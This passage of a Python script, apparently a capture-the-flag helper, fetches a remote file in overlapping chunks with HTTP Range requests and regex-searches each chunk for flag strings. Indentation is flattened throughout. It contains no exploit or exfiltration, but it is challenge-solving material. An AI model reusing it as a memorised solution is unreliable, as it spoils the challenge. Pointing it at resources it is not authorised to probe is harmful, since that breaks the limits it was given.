re.compile(rb'flag\{[^}]+\}', re.IGNORECASE),
re.compile(rb'FLAG[=:]\s*["\']?([^"\'\s]+)'),
re.compile(rb'flag[=:]\s*["\']?([^"\'\s]+)')]

found = set()

for start in range(0, total_size, CHUNK_SIZE - OVERLAP):
end = min(start + CHUNK_SIZE - 1, total_size - 1)

headers = {"Range": f"bytes={start}-{end}"}
try:
r = requests.get(URL, headers=headers, timeout=30)
if r.status_code not in (200, 206):
print(f"Unexpected status {r.status_code} at bytes {start}-{end}")
continue

data = overlap_buf + r.content

# Search all patterns
for pat in patterns:
for m in pat.finditer(data):
match_text = m.group(0)
if isinstance(match_text, bytes):
match_text = match_text.decode('utf-8', errors='replace')
if match_text not in found:
found.add(match_text)
print(f"FOUND at offset ~{start}: {match_text}")

# Keep overlap for next chunk
overlap_buf = data[-OVERLAP:] if len(data) > OVERLAP else data

if start % (5 * 1024 * 1024) == 0:
print(f"Progress: {start/1024/1024:.1f} / {total_size/1024/1024:.1f} MB")

except Exception as e:
print(f"Error at bytes {start}-{end}: {e}")
continue

print(f"\nDone. Found {len(found)} unique matches.")
for f in sorted(found):
print(f" {f}")